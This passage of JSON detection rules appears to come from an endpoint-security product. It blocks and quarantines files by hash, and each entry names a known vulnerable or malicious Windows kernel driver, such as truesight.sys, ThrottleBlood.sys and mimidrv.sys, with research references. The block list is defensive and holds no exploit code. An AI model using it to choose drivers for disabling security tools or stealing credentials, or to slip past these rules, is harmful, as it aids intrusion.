+  "value": "7d74454fbc48c1a5a7dc35f53d58200e49291c34f26ed274bc454abc1ba26002",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41e36f27-0ab3-56cf-b159-d90b80516f1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620313Z",
+  "creation_date": "2026-03-23T11:45:29.620315Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620321Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c",
+  "comment": "Vulnerable Kernel Driver (aka amsdk.sys) [https://www.loldrivers.io/drivers/a285591e-ad3c-46a3-a648-c58589ff5efc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41e43ac2-3a79-5a07-9afd-24c517047628",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828347Z",
+  "creation_date": "2026-03-23T11:45:30.828349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "965e2a08a3ad054cd8356ccdd7513613902ce3be7bcc262ca156e9db2cf0f4db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41e8b632-5520-5884-9050-4cdc14e50047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147040Z",
+  "creation_date": "2026-03-23T11:45:32.147042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51ad864af75441b537ab0a37cf045f19117eab5e10fc179ef1e8164d9ef5d2e0",
+  "comment": "Vulnerable Kernel Driver (aka ThrottleBlood.sys) [https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41f8d812-ab1a-5ebd-b072-d7c30d506666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154747Z",
+  "creation_date": "2026-03-23T11:45:31.154751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e852b54ff7357691235f9a359f8ec625fafc784f991acde0b3973621a06fbb6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41fa1afb-8212-5384-bd77-241a7e9f6634",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817841Z",
+  "creation_date": "2026-03-23T11:45:30.817844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee067313bd75acae24e1661cb6807ed6148f9af34542ed77578144b21f5c8da1",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41fd5ea9-cab5-5332-8ab8-cd194e0a08d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826443Z",
+  "creation_date": "2026-03-23T11:45:30.826445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5db520afe0278928b9b70b22e991b331d381ab959e4bb1472266dc57c9bd8e40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42004600-13ad-59bb-a2e0-9fa0a639aba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610475Z",
+  "creation_date": "2026-03-23T11:45:29.610477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "420221e4-9d20-55a2-a482-f1a335387419",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479666Z",
+  "creation_date": "2026-03-23T11:45:31.479670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1970441341b44c20f80b2517a42db7623dc62d57458e74894593eadca0acc9e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4208851a-654a-5120-873e-44354ba7f6cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498308Z",
+  "creation_date": "2026-03-23T11:45:31.498311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b6d6ed719ae1555fc75a05425ebc9ce79b7f47b36baffa1014e1e3d413a2f07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4209a3e6-61c9-586c-9006-c316df385742",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829412Z",
+  "creation_date": "2026-03-23T11:45:30.829414Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e247b7a0e986e0d9660d85b90a2f1c4d8dc3e515c339fa1e936898f86e096336",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "420ff32a-3448-5184-b3b9-6e95c9821753",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983158Z",
+  "creation_date": "2026-03-23T11:45:29.983160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a000d211840cb8fbcbf95c334b1d04eadb45ba03b0413c96472e47e9e22413ff",
+  "comment": "Malicious Kernel Driver (aka daxin_blank.sys) [https://www.loldrivers.io/drivers/7e80423f-8b30-4ee2-b904-9f5421826a8c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "421114ff-0593-5dc3-bdbf-f4925659789f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468078Z",
+  "creation_date": "2026-03-23T11:45:30.468082Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6789e1a2e0d23528a91e49851bd95bceb6ffe9927f34b52a78ecc2b1d4bc13b8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4215f19c-f133-58ac-8a9f-29c91f4935e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807520Z",
+  "creation_date": "2026-03-23T11:45:31.807523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7d7e34a5c9298104911195dd590f209e47b62d81792aac6a1acc2e9c9cb4a86",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42279296-c72e-5724-8287-cc4786a28e59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832077Z",
+  "creation_date": "2026-03-23T11:45:30.832079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87fbc22a0d7a65cf3078f1ff46f7b82922a3d8a5cf9b7e5d4c5bb885d1fc7009",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42318282-1774-5511-a02a-11bc363b97f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978283Z",
+  "creation_date": "2026-03-23T11:45:29.978285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b55b35284346bbcdc2754e60517e1702f0286770a080ee6ff3e7eed1cab812a",
+  "comment": "Vulnerable Kernel Driver (aka nt5.sys) [https://www.loldrivers.io/drivers/193df066-c27c-4343-a4eb-ad2ac417a4cc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4234a72b-d951-583b-a045-1d58879d60a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982200Z",
+  "creation_date": "2026-03-23T11:45:29.982202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982207Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa7f25d4857a4b443222934bcbb0904348a799fc884096f653d921817c0b34aa",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "423cbc49-7518-5b34-8dff-e3a5c7d2a54c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829255Z",
+  "creation_date": "2026-03-23T11:45:30.829257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3171fc751a20680b3eb75b6a1a4767cbe4a8296c3b4f7d93781bfe176e5a6b75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "424203b8-e331-5d89-a3ad-fef08d05be5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981977Z",
+  "creation_date": "2026-03-23T11:45:29.981979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e",
+  "comment": "Malicious Kernel Driver (aka wantd_6.sys) [https://www.loldrivers.io/drivers/127cde1d-905e-4c67-a2c3-04ea4deaea7d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4245fd3a-e2b1-576c-979d-a85babbe99ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818701Z",
+  "creation_date": "2026-03-23T11:45:30.818703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fc66378fe68a380ccfab3521657b38912ca1fe5a8d7c857f591e928ab0b4208",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4249144b-9ad1-50e6-aa0f-e5203351323a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154639Z",
+  "creation_date": "2026-03-23T11:45:31.154641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f35a53c8e43f4738162ce8fed947c77e435295084ed517aeb0ab605f3c31078e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "425a2d2d-2798-5660-9769-bba4b58a2fcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498282Z",
+  "creation_date": "2026-03-23T11:45:31.498286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "221a23982eb9f68ce42f415449c29aafbfdc5b185ec5db7907c3036fd9e6f5a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "425b5c62-7e16-5833-8e63-0dd9cb8c1a96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971336Z",
+  "creation_date": "2026-03-23T11:45:29.971339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "425cde7b-40c5-548a-835a-e9764a4dc553",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
